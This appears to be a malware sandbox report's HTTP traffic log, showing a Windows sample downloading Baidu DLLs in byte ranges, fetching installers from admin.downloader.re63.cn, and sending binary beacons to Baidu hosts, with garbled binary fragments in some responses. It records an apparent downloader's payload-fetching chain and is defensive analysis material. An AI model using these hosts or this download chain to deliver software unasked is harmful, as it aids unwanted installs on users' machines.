User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:28 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 432976<br>
Connection: close<br>
ETag: 44edff85d12e091f0b129f05a3f2a042<br>
Last-Modified: Tue, 06 May 2014 07:48:08 GMT<br>
Expires: Tue, 12 Aug 2014 14:59:34 GMT<br>
Age: 186654<br>
Content-Range: bytes 491520-924495/924496<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: 45FD47DB9BA063A62A2F1AF299C66DD6<br>
x-bs-request-id: MTAuNDYuMTU3LjIzOjgwODA6MTU1MDU3MDk3NDoyOC9KdWwvMjAxNCAyMjo1ODo0MyA=<br>
x-bs-meta-crc32: 3569711378<br>
Content-MD5: 44edff85d12e091f0b129f05a3f2a042<br>
<<< skipped >>>
<font color="red">GET /downcontainer/downLoadList.do HTTP/1.1<br>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: admin.downloader.re63.cn<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:51:01 GMT<br>
Content-Type: text/html; charset=UTF-8<br>
Transfer-Encoding: chunked<br>
Connection: keep-alive<br>
Vary: Accept-Encoding<br><pre>2ef..<?xml version='1.0' encoding='UTF-8'?><setup><prod<br>uct id='0' oemId='0' name='guagua' companyName='......' productFullNam<br>e='......' version='5.1.4' /><product id='0' oemId='1' name='gua<br>gua' companyName='......' productFullName='......2' version='5.1.4' /&<br>gt;<product id='0' oemId='2' name='guagua' companyName='......' pro<br>ductFullName='......-............' version='5.1.4' /><product id<br>='0' oemId='3' name='guagua' companyName='......' productFullName='...<br>...-......-............' version='5.1.4' /><product id='0' oemId<br>='4' name='guagua' companyName='......' productFullName='......-......<br>-............' version='5.1.4' /><product id='0' oemId='5' name=<br>'guagua' companyName='......' productFullName='......-......-.........<br>...' version='5.1.4' /></setup>..0..</font>....</pre></font><br><br><font color="red">GET /downcontainer/downLoadForGuaGua.do?recid=77150006814 HTTP/1.1<br>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: admin.downloader.re63.cn<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:51:02 GMT<br>
Transfer-Encoding: chunked<br>
<<< skipped >>>
<font color="red">POST / HTTP/1.1<br>
Connection: Keep-Alive<br>
Content-Length: 77<br>
Content-Type: application/octet-stream<br>
Host: p.x.baidu.com<br>
Keep-Alive: timeout=600,max=1000<br>
<br>
...A........." 8445a55eb3350c912a726b3795bf47c6(.........2.8.@.H.P.X.` ......</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: iYuntianSvr<br>
Content-Type: application/octet-stream<br>
Keep-Alive: timeout=30<br>
Connection: Keep-Alive<br>
Content-Length: 133<br><pre>...y........." 8445a55eb3350c912a726b3795bf47c6(.........28.....$..j..<br>>.(.Cgb...D{.h.6Li......ZA...[............d..8.@.H.P.X.` ......</fo<br>nt>....</pre></font><br><br><font color="red">POST / HTTP/1.1<br>
Connection: Keep-Alive<br>
Content-Length: 157<br>
Content-Type: application/octet-stream<br>
Host: p.x.baidu.com<br>
Keep-Alive: timeout=600,max=1000<br>
<br>
...y........." 8445a55eb3350c912a726b3795bf47c6(.........28.....$..j..>.(.Cgb...D{.h6Li......ZA...[............d..8.@.H.P.X.` ......t&......E.P...`.`k}.....</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: iYuntianSvr<br>
Content-Type: application/octet-stream<br>
Keep-Alive: timeout=30<br>
Connection: Keep-Alive<br>
Content-Length: 941<br><pre>...y........." 8445a55eb3350c912a726b3795bf47c6(.........28.....$..j..<br>>.(.Cgb...D{.h.6Li......ZA...[............d..8.@.H.P.X.` ...(...w.=<br>......1H..xg.00B...Oe.......^X....h....eu.t..V.k.3 ......f.*b..B.x..;.<br>M.'...........j.."..U..:.$?.......x..pT..ku....R....1..../.4:.Sm..:.6.<br>..t@6.,..I..71UmsjD..c..]..G*cQ1.n..5..Z.n|....i.D'....._.M.......2c..<br><rjY.h...f......)....................v.\.m......$....I.u.G}...F.r..<br>....>f74,......BxhTz5*....B\.S...IHZ....8..[....u.%..c....K.....8..<br>..t.....E.../..4..Dk....o....].wSwf..7m>.iD..x....Q5.&...>9@.m%9<br>..m...T &).d\...(.......$..$.%EV............5..F?I mT.. ..t..hT.S3{...<br>.6N...w.......L.....!r.f..i...4..........f...#......_N:.<[9..(..G.&<br>gt;x...)t..4.\...q..K.}...-.s......#.h.. @...."F...i.._XgV.....@.N.. &<br>...:..hc|....i..`.W...D.*...Q..6..c.Q...E.A)...r>./.:4.Us...Q.....b<br>..)........R...<.u...A..F.....c....d..g..{$....T.........Ng.?...oo.<br>..A..[.$t......w.e&.....G?P.....inq......DU...".....1....w..</pre></font><br><br
<font color="red">GET /sw-search-shadu/client/dllv3/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=425984-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:31 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 781536<br>
Connection: close<br>
ETag: 30cbc602ada7cdfb0346038c05996d84<br>
Last-Modified: Thu, 20 Jun 2013 06:27:51 GMT<br>
Expires: Tue, 12 Aug 2014 14:59:13 GMT<br>
Age: 186678<br>
Content-Range: bytes 425984-1207519/1207520<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: 21BEDF37C0B754EE14FE2C8B0543B5C0<br>
x-bs-request-id: MTAuNTguMzQuMTk6ODA4MDoxMzEyMjA1MTYxOjI4L0p1bC8yMDE0IDIyOjU5OjA1IA==<br>
x-bs-meta-crc32: 2965621797<br>
Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>
<<< skipped >>>
<font color="red">POST / HTTP/1.1<br>
Connection: Keep-Alive<br>
Content-Length: 68<br>
Content-Type: application/octet-stream<br>
Host: s.x.baidu.com<br>
Keep-Alive: timeout=600,max=1000<br>
<br>
...8........" 8445a55eb3350c912a726b3795bf47c6(.2.8.@.H.P.X.` ......</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: iYuntianSvr<br>
Content-Type: application/octet-stream<br>
Keep-Alive: timeout=30<br>
Connection: Keep-Alive<br>
Content-Length: 124<br><pre>...p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD...........<br>u..8..(8_.9.........v.>.E.{...W...Gc8.@.H.P.X.` ........</pre></font><br><br
<font color="red">GET /sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=524288-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:30 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 400208<br>
Connection: close<br>
ETag: 44edff85d12e091f0b129f05a3f2a042<br>
Last-Modified: Tue, 06 May 2014 07:48:08 GMT<br>
Expires: Tue, 12 Aug 2014 14:59:34 GMT<br>
Age: 186656<br>
Content-Range: bytes 524288-924495/924496<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: 45FD47DB9BA063A62A2F1AF299C66DD6<br>
x-bs-request-id: MTAuNDYuMTU3LjIzOjgwODA6MTU1MDU3MDk3NDoyOC9KdWwvMjAxNCAyMjo1ODo0MyA=<br>
x-bs-meta-crc32: 3569711378<br>
Content-MD5: 44edff85d12e091f0b129f05a3f2a042<br>
x-bs-client-ip: MTgwLjc2LjIyLjc1<br><pre>d.......3..\$..|$L;.u<h....h.T..j..L$ .\$X.a....\$D.....h.......\$.<br>.....P.L$P.........D$D....t..L$..X...j.h....h....j.W.L7.......u.VW.&..<br>.....L$<d......Y_^[..8...P...f....L$<d......Y_^[..8....j.h....d.<br>....P..,SVW.....3.P.D$<d.......3..\$..|$L;.u<hp...h.T..j..L$ .\$<br>X......\$D.....h.......\$......P.L$P.N.......D$D....t..L$..x...j.hH...<br>h....j.W.l6.......u.VW.F.......L$<d......Y_^[..8...P........L$<d<br>......Y_^[..8....QS.\$.VW..3..|$..F..C.P.....9{.~WU.o..F..N.;.}.......<br>...F....%.F.;.u....P........n...7...V.......n......Q......</pre></font><br><br
<font color="red">GET /client/dllv3/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=1146880-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 16:02:42 GMT<br>
Date: Sun, 10 Aug 2014 16:02:42 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Mon, 17 Jun 2013 13:07:38 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 1146880-1207519/1207520<br>
Content-Length: 60640<br>
Age: 96470<br>
Via: 1.0 sdytwt88:88 (Cdn Cache Server V2.0), 1.0 tswt76:8104 (Cdn Cache Server V2.0), 1.0 shiben11:10003 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=720896-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>
Date: Sun, 10 Aug 2014 15:52:41 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 720896-1207519/1207520<br>
Content-Length: 486624<br>
Age: 97070<br>
Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=14417920-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:51:07 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 11586384<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186628<br>
Content-Range: bytes 14417920-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /support/mini/fyminiloader-min.js HTTP/1.1<br>
Accept: */*<br>
Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go=<br>
Accept-Language: en-us<br>
Accept-Encoding: gzip, deflate<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
Host: static.m0dlcdn.kukuplay.com<br>
Connection: Keep-Alive<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Content-Type: application/x-javascript<br>
Last-Modified: Fri, 11 Jan 2013 07:55:33 GMT<br>
Expires: Thu, 31 Dec 2037 23:55:55 GMT<br>
Cache-Control: max-age=315360000<br>
Content-Encoding: gzip<br>
X-Via-Cache: sx<br>
Content-Length: 363<br>
Accept-Ranges: bytes<br>
Date: Mon, 11 Aug 2014 14:06:11 GMT<br>
Age: 2959800<br>
Connection: keep-alive<br>
X-cdn: ydcdn<br>
X-hit-at: sx<br><pre>..........}Q]O.0.. .&.f..l..:...MtO..........$.wK...}:...s...U.J.B4t..<br>9f..5W6..>W|.O.W... ...j]K%..!g..I.....!x.&>..s......>.0H~..s<br>.no...>....L.....@&.....>.*:....J.h....97K.....h.....B.&..o$x.5*<br>..........tQc[)Z..d......l....g.h.X].A,.g.8N7(08.............xZ....1".<br>k.....,m... ...T3..X. .G..K..q.q...` .._-..q.a....]UR..........~<\.<br>L......A.GR)n^>..p1..e.B.......HTTP/1.1 200 OK..Content-Type: appli<br>cation/x-javascript..Last-Modified: Fri, 11 Jan 2013 07:55:33 GMT..Exp<br>ires: Thu, 31 Dec 2037 23:55:55 GMT..Cache-Control: max-age=315360000.<br>.Content-Encoding: gzip..X-Via-Cache: sx..Content-Length: 363..Accept-<br>Ranges: bytes..Date: Mon, 11 Aug 2014 14:06:11 GMT..Age: 2959800..Conn<br>ection: keep-alive..X-cdn: ydcdn..X-hit-at: sx............}Q]O.0.. .&.<br>f..l..:...MtO..........$.wK...}:...s...U.J.B4t..9f..5W6..>W|.O.W...<br> ...j]K%..!g..I.....!x.&>..s......>.0H~..s.no...>....L.....@&<br>.....>.*:....J.h....97K.....h.....B.&..o$x.5*..........tQc[)Z..d...<br>...l....g.h.X].A,.g.8N7(08.............xZ....1".k.....,m... ...T3..X. <br>.G..K..q.q...` .._-..q.a....]UR..........~<\.L......A.GR)n^>..p1<br>..e.B.........</pre></font><br><br
<font color="red">GET /client/dllv3/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=819200-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 16:02:42 GMT<br>
Date: Sun, 10 Aug 2014 16:02:42 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Mon, 17 Jun 2013 13:07:38 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 819200-1207519/1207520<br>
Content-Length: 388320<br>
Age: 96469<br>
Via: 1.0 sdytwt88:88 (Cdn Cache Server V2.0), 1.0 tswt76:8104 (Cdn Cache Server V2.0), 1.0 shiben11:10003 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/common/patch/19035267599/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=1015808-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:31 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 191712<br>
Connection: close<br>
ETag: 30cbc602ada7cdfb0346038c05996d84<br>
Last-Modified: Wed, 30 Apr 2014 05:22:28 GMT<br>
Expires: Tue, 12 Aug 2014 14:59:15 GMT<br>
Age: 186677<br>
Content-Range: bytes 1015808-1207519/1207520<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DC8389F18378C004A7004B30F60323AD<br>
x-bs-request-id: MTAuNTcuMTIyLjM1OjgwODA6MjM1OTEyNDY2MzoyOC9KdWwvMjAxNCAyMjo1OTowNiA=<br>
x-bs-meta-crc32: 2965621797<br>
Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=19529728-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:40 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 6474576<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186601<br>
Content-Range: bytes 19529728-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=131072-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:40 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 25873232<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186601<br>
Content-Range: bytes 131072-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=524288-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:50 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 25480016<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186611<br>
Content-Range: bytes 524288-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=589824-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>
Date: Sat, 09 Aug 2014 06:25:46 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 589824-924495/924496<br>
Content-Length: 334672<br>
Age: 217482<br>
Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=524288-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>
Date: Sun, 10 Aug 2014 15:52:41 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 524288-1207519/1207520<br>
Content-Length: 683232<br>
Age: 97070<br>
Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=15335424-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:51:24 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 10668880<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186645<br>
Content-Range: bytes 15335424-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /client/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=622592-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 16:02:45 GMT<br>
Date: Sun, 10 Aug 2014 16:02:45 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Wed, 15 May 2013 01:54:31 GMT<br>
